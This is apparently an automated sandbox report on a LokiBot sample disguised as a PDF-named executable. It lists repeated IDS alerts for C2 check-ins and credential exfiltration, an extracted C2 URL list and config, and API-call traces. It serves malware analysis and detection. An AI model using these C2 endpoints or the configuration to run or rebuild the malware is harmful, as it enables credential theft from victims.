Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:55.869978
SID:	2025381
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:28.354051
SID:	2024318
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:53.747051
SID:	2024313
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:04.647547
SID:	2825766
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.045782
SID:	2024318
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:26.436407
SID:	2825766
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:13.622626
SID:	2021641
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.993699
SID:	2021641
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:12.795525
SID:	2024313
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:14.514493
SID:	2025381
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:07.399031
SID:	2021641
Source Port:	49789
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.132174
SID:	2024318
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:39.855398
SID:	2025381
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.944131
SID:	2021641
Source Port:	49760
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:38.132174
SID:	2024313
Source Port:	49820
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:12.795525
SID:	2024318
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.045782
SID:	2024313
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:26.338973
SID:	2825766
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:25.471357
SID:	2024318
Source Port:	49808
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:07.503626
SID:	2024313
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:29.208414
SID:	2021641
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:07.503626
SID:	2024318
Source Port:	49719
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://kbfvzoboss.bid/alien/fre.php	URL Reputation: Label: malware
Source: http://alphastand.win/alien/fre.php	URL Reputation: Label: malware
Source: http://alphastand.trade/alien/fre.php	URL Reputation: Label: malware
Source: http://alphastand.top/alien/fre.php	URL Reputation: Label: malware

Found malware configuration

Source: 2.2.svchost.exe.400000.0.unpack

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "\u0097\u008b\u008b\u008f\u008c\u00c5\u00d0\u00d0\u009a\u009b\u0098\u009a\u0088\u009a\u0093\u0093\u00d1\u009c\u009e\u0092\u00d0\u00bb\u00a9\u00cd\u00d0\u00af\u00a8\u00ac\u00d0\u0099\u008d\u009a\u00d1\u008f\u0097\u008f"]}

Multi AV Scanner detection for submitted file

Source: MV XH DOLPHINPDF.exe

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: MV XH DOLPHINPDF.exe

Joe Sandbox ML: detected

Source: MV XH DOLPHINPDF.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: wntdll.pdbUGP source: MV XH DOLPHINPDF.exe, 00000000.00000003.1982550995.0000000003B20000.00000004.00001000.00020000.00000000.sdmp, MV XH DOLPHINPDF.exe, 00000000.00000003.1981765972.0000000003C10000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MV XH DOLPHINPDF.exe, 00000000.00000003.1982550995.0000000003B20000.00000004.00001000.00020000.00000000.sdmp, MV XH DOLPHINPDF.exe, 00000000.00000003.1981765972.0000000003C10000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: svchost.exe, svchost.exe, 00000002.00000002.3213045257.0000000000CA1000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: svchost.pdbUGP source: svchost.exe, 00000002.00000002.3213045257.0000000000CA1000.00000020.00000001.01000000.00000005.sdmp

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000E4696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_000E4696
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EC93C FindFirstFileW,FindClose,	0_2_000EC93C
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_000EC9C7
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_000EF200
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_000EF35D
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_000EF65E
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000E3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_000E3A2B
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000E3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_000E3D4E
Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe	Code function: 0_2_000EBF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_000EBF27
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,	2_2_00403D74

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49704 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49704 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49704 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.5:49704 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49704 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.5:49705 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49705 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49705 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.5:49705 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49705 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49706 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49706 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49706 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49706 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49706 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49707 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49707 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49707 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49707 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49707 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49708 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49708 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49708 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49708 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49708 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49709 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49709 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49709 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49709 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49709 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49710 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49710 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49710 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49710 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49710 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49711 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49711 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49711 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49711 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49711 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49712 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49712 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49712 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49712 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49712 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49713 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49713 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49713 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49713 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49713 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49714 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49714 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49714 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49714 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49714 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49715 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49715 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49715 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49715 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49715 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49716 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49716 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49716 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49716 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49716 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49717 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49717 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49717 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49717 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49717 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49718 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49718 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49718 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49718 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49718 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49719 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49719 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49719 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49719 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49719 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49721 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49721 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49721 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49721 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49721 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49724 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49724 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49724 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49724 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49724 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49726 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49726 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49726 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49726 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49726 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49728 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49728 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49728 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49728 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49728 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49730 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49730 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49730 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49730 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49730 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49731 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49731 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49731 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49731 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49731 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49732 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49732 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49732 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49732 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49732 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49733 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49733 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49733 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49733 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49733 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49734 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49734 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49734 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49734 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49734 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49735 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49735 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49735 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49735 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49735 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49736 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49736 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49736 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49736 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49736 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49737 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49737 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.5:49737 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.5:49737 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.5:49737 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.5:49738 -> 104.21.85.101:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.5:49738 -> 104.21.85.101:80
